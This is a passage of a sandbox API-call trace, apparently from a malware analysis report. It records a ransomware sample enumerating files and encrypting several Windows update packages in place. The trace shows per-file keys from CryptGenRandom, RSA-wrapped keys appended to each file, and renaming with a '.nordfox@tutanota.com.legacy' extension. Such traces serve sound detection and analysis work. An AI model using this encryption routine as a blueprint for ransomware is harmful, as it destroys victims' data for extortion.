hHeap=0x520000) returned 1 [0067.411] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0067.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.411] GetLastError () returned 0x0 [0067.411] SetLastError (dwErrCode=0x0) [0067.411] GetLastError () returned 0x0 [0067.411] SetLastError (dwErrCode=0x0) [0067.411] GetLastError () returned 0x0 [0067.411] SetLastError (dwErrCode=0x0) [0067.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0067.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.411] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0067.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.412] GetLastError () returned 0x0 [0067.412] SetLastError (dwErrCode=0x0) [0067.412] GetLastError () returned 0x0 [0067.412] SetLastError (dwErrCode=0x0) [0067.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.412] GetLastError () returned 0x0 [0067.412] SetLastError (dwErrCode=0x0) [0067.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa98 | out: hHeap=0x520000) returned 1 [0067.412] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0067.412] SetLastError (dwErrCode=0x0) [0067.412] GetLastError () returned 0x0 [0067.412] SetLastError (dwErrCode=0x0) [0067.412] SetLastError (dwErrCode=0x0) [0067.412] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0067.412] SetLastError (dwErrCode=0x0) [0067.412] GetLastError () returned 0x0 [0067.412] SetLastError (dwErrCode=0x0) [0067.412] GetLastError () returned 0x0 [0067.412] SetLastError (dwErrCode=0x0) [0067.413] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0067.413] SetLastError (dwErrCode=0x0) [0067.413] GetLastError () returned 0x0 [0067.413] SetLastError (dwErrCode=0x0) [0067.413] GetLastError () returned 0x0 [0067.413] SetLastError (dwErrCode=0x0) [0067.413] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0067.413] SetLastError (dwErrCode=0x0) [0067.413] GetLastError () returned 0x0 [0067.413] SetLastError (dwErrCode=0x0) [0067.413] GetLastError () returned 0x0 [0067.413] SetLastError (dwErrCode=0x0) [0067.413] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0067.413] SetLastError (dwErrCode=0x0) [0067.413] GetLastError () returned 0x0 [0067.413] SetLastError (dwErrCode=0x0) [0067.413] SetLastError (dwErrCode=0x0) [0067.413] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0067.414] SetLastError (dwErrCode=0x0) [0067.414] GetLastError () returned 0x0 [0067.414] SetLastError (dwErrCode=0x0) [0067.414] SetLastError (dwErrCode=0x0) [0067.414] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0067.414] SetLastError (dwErrCode=0x0) [0067.414] GetLastError () returned 0x0 [0067.414] SetLastError (dwErrCode=0x0) [0067.414] SetLastError (dwErrCode=0x0) [0067.414] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0067.414] SetLastError (dwErrCode=0x0) [0067.414] GetLastError () returned 0x0 [0067.414] SetLastError (dwErrCode=0x0) [0067.414] SetLastError (dwErrCode=0x0) [0067.414] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0067.414] SetLastError (dwErrCode=0x0) [0067.414] GetLastError () returned 0x0 [0067.414] SetLastError (dwErrCode=0x0) [0067.415] SetLastError (dwErrCode=0x0) [0067.415] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0067.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0067.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0c0 | out: pbBuffer=0x54d0c0) returned 1 [0067.415] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu", dwFileAttributes=0x80) returned 1 [0067.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x553578 [0067.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e940 [0067.416] CreateFileW (lpFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.416] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2141433) returned 1 [0067.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20acf9) returned 0x2e25020 [0067.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20acf9) returned 0x304f020 [0067.428] ReadFile (in: hFile=0x454, lpBuffer=0x2e25020, nNumberOfBytesToRead=0x20acf9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e25020*, lpNumberOfBytesRead=0x2e1f9bc*=0x20acf9, lpOverlapped=0x0) returned 1 [0067.901] SetFilePointer (in: hFile=0x454, lDistanceToMove=-2141433, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.901] WriteFile (in: hFile=0x454, lpBuffer=0x304f020*, nNumberOfBytesToWrite=0x20acf9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x304f020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20acf9, lpOverlapped=0x0) returned 1 [0067.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e25020 | out: hHeap=0x520000) returned 1 [0067.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x304f020 | out: hHeap=0x520000) returned 1 [0067.954] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20acf9 [0067.954] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0067.954] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0067.955] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0067.955] WriteFile (in: hFile=0x454, lpBuffer=0x54d0c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0067.955] CloseHandle (hObject=0x454) returned 1 [0068.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0068.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0068.016] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0068.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e940 | out: hHeap=0x520000) returned 1 [0068.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0068.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0068.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x56c808 [0068.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0068.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0e0 [0068.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0068.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0e0 | out: pbBuffer=0x54d0e0) returned 1 [0068.025] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu", dwFileAttributes=0x80) returned 1 [0068.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x553500 [0068.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ef80 [0068.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0068.025] CreateFileW (lpFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0068.025] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5091790) returned 1 [0068.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4db1ce) returned 0x2e2d020 [0068.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4db1ce) returned 0x3312020 [0068.050] ReadFile (in: hFile=0x454, lpBuffer=0x2e2d020, nNumberOfBytesToRead=0x4db1ce, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e2d020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4db1ce, lpOverlapped=0x0) returned 1 [0068.383] SetFilePointer (in: hFile=0x454, lDistanceToMove=-5091790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.383] WriteFile (in: hFile=0x454, lpBuffer=0x3312020*, nNumberOfBytesToWrite=0x4db1ce, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3312020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4db1ce, lpOverlapped=0x0) returned 1 [0068.751] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e2d020 | out: hHeap=0x520000) returned 1 [0068.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3312020 | out: hHeap=0x520000) returned 1 [0068.801] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4db1ce [0068.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0068.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0068.801] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0068.802] WriteFile (in: hFile=0x454, lpBuffer=0x54d0e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0068.802] CloseHandle (hObject=0x454) returned 1 [0068.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0068.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0e0 | out: hHeap=0x520000) returned 1 [0068.942] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0068.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ef80 | out: hHeap=0x520000) returned 1 [0068.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0068.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0068.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5519c8 [0068.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0068.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0068.944] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0068.944] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0068.944] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu", dwFileAttributes=0x80) returned 1 [0068.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x56c808 [0068.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ef80 [0068.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0068.944] CreateFileW (lpFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0068.944] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2192672) returned 1 [0068.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x217520) returned 0x2e29020 [0068.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x217520) returned 0x3056020 [0068.956] ReadFile (in: hFile=0x454, lpBuffer=0x2e29020, nNumberOfBytesToRead=0x217520, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e29020*, lpNumberOfBytesRead=0x2e1f9bc*=0x217520, lpOverlapped=0x0) returned 1 [0069.235] SetFilePointer (in: hFile=0x454, lDistanceToMove=-2192672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.235] WriteFile (in: hFile=0x454, lpBuffer=0x3056020*, nNumberOfBytesToWrite=0x217520, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3056020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x217520, lpOverlapped=0x0) returned 1 [0069.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e29020 | out: hHeap=0x520000) returned 1 [0069.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3056020 | out: hHeap=0x520000) returned 1 [0069.289] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x217520 [0069.289] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0069.289] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0069.289] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0069.289] WriteFile (in: hFile=0x454, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0069.289] CloseHandle (hObject=0x454) returned 1 [0069.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0069.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0069.366] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0069.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ef80 | out: hHeap=0x520000) returned 1 [0069.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0069.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555868 | out: hHeap=0x520000) returned 1 [0069.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x555868 [0069.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0069.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0e0 [0069.370] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0069.370] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0e0 | out: pbBuffer=0x54d0e0) returned 1 [0069.370] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu", dwFileAttributes=0x80) returned 1 [0069.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5519c8 [0069.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e300 [0069.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0069.371] CreateFileW (lpFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0069.371] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5198099) returned 1 [0069.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4f5113) returned 0x2e20020 [0069.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4f5113) returned 0x3329020 [0069.403] ReadFile (in: hFile=0x454, lpBuffer=0x2e20020, nNumberOfBytesToRead=0x4f5113, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f5113, lpOverlapped=0x0) returned 1 [0070.010] SetFilePointer (in: hFile=0x454, lDistanceToMove=-5198099, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.010] WriteFile (in: hFile=0x454, lpBuffer=0x3329020*, nNumberOfBytesToWrite=0x4f5113, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3329020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f5113, lpOverlapped=0x0) returned 1 [0070.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20020 | out: hHeap=0x520000) returned 1 [0070.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 